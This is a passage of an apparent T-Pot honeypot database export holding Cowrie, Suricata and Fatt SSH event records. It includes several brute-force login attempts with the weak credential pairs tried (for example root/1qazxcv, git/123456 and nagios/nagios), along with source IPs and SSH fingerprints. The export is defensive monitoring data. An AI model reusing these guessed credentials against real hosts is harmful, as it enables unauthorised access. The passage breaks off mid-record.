23643	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:07:39.262097+03	2021-09-20 14:15:07.769471+03	{"_id": "kwbjAnwBvYTbRNuE2g00", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/1qazxcv] failed", "session": "de7faa434b15", "@version": "1", "password": "1qazxcv", "username": "root", "timestamp": "2021-09-20T11:07:39.262097Z", "@timestamp": "2021-09-20T11:07:39.262Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23780	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:50.685154+03	2021-09-20 14:15:07.947471+03	{"_id": "wAbkAnwBvYTbRNuECQ8n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6ad814083280", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:50.685154Z", "@timestamp": "2021-09-20T11:07:50.685Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23644	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:38.5252+03	2021-09-20 14:15:07.77047+03	{"_id": "nQbjAnwBvYTbRNuE2g03", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "61b95c7cc7af", "@version": "1", "timestamp": "2021-09-20T11:07:38.525200Z", "@timestamp": "2021-09-20T11:07:38.525Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23645	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:39.048095+03	2021-09-20 14:15:07.77147+03	{"_id": "sgbjAnwBvYTbRNuE3A2d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 465859725921963, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 7193, "dest_port": 22, "timestamp": "2021-09-20T11:07:39.048095Z", "@timestamp": "2021-09-20T11:07:39.048Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23646	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:39.809095+03	2021-09-20 14:15:07.773469+03	{"_id": "tAbjAnwBvYTbRNuE3A2d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 877128614383085, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37734, "dest_port": 22, "timestamp": "2021-09-20T11:07:39.809095Z", "@timestamp": "2021-09-20T11:07:39.809Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23647	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:33.923077+03	2021-09-20 14:15:07.7745+03	{"_id": "RAbjAnwBvYTbRNuExQwo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1982932368854723, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41378, "dest_port": 22, "timestamp": "2021-09-20T11:07:33.923077Z", "@timestamp": "2021-09-20T11:07:33.923Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23648	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:33.939983+03	2021-09-20 14:15:07.775471+03	{"_id": "RQbjAnwBvYTbRNuExQwo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 625881617124122, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57216, "dest_port": 22, "timestamp": "2021-09-20T11:07:33.939983Z", "@timestamp": "2021-09-20T11:07:33.939Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23649	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:36.970548+03	2021-09-20 14:15:07.776473+03	{"_id": "agbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58398, "timestamp": "2021-09-20T11:07:36.970548", "@timestamp": "2021-09-20T11:07:36.970Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23650	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:37.538051+03	2021-09-20 14:15:07.778512+03	{"_id": "eQbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [git/123456] failed", "session": "12a17984d875", "@version": "1", "password": "123456", "username": "git", "timestamp": "2021-09-20T11:07:37.538051Z", "@timestamp": "2021-09-20T11:07:37.538Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23651	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:38.247691+03	2021-09-20 14:15:07.77947+03	{"_id": "YgbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [nagios/nagios] failed", "session": "614f4ac7b02e", "@version": "1", "password": "nagios", "username": "nagios", "timestamp": "2021-09-20T11:07:38.247691Z", "@timestamp": "2021-09-20T11:07:38.247Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23652	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:38.25361+03	2021-09-20 14:15:07.78047+03	{"_id": "ZAbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "d0424c51a7b1", "@version": "1", "duration": 3.4241552352905273, "timestamp": "2021-09-20T11:07:38.253610Z", "@timestamp": "2021-09-20T11:07:38.253Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23653	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:42.2428+03	2021-09-20 14:15:07.78147+03	{"_id": "bgbjAnwBvYTbRNuE6Q7c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 6754, "dest_port": 22, "timestamp": "2021-09-20T11:07:42.242800", "@timestamp": "2021-09-20T11:07:42.242Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23654	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:42.418297+03	2021-09-20 14:15:07.783471+03	{"_id": "bwbjAnwBvYTbRNuE6Q7c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40388, "dest_port": 22, "timestamp": "2021-09-20T11:07:42.418297", "@timestamp": "2021-09-20T11:07:42.418Z", "t-pot_ip_ext": 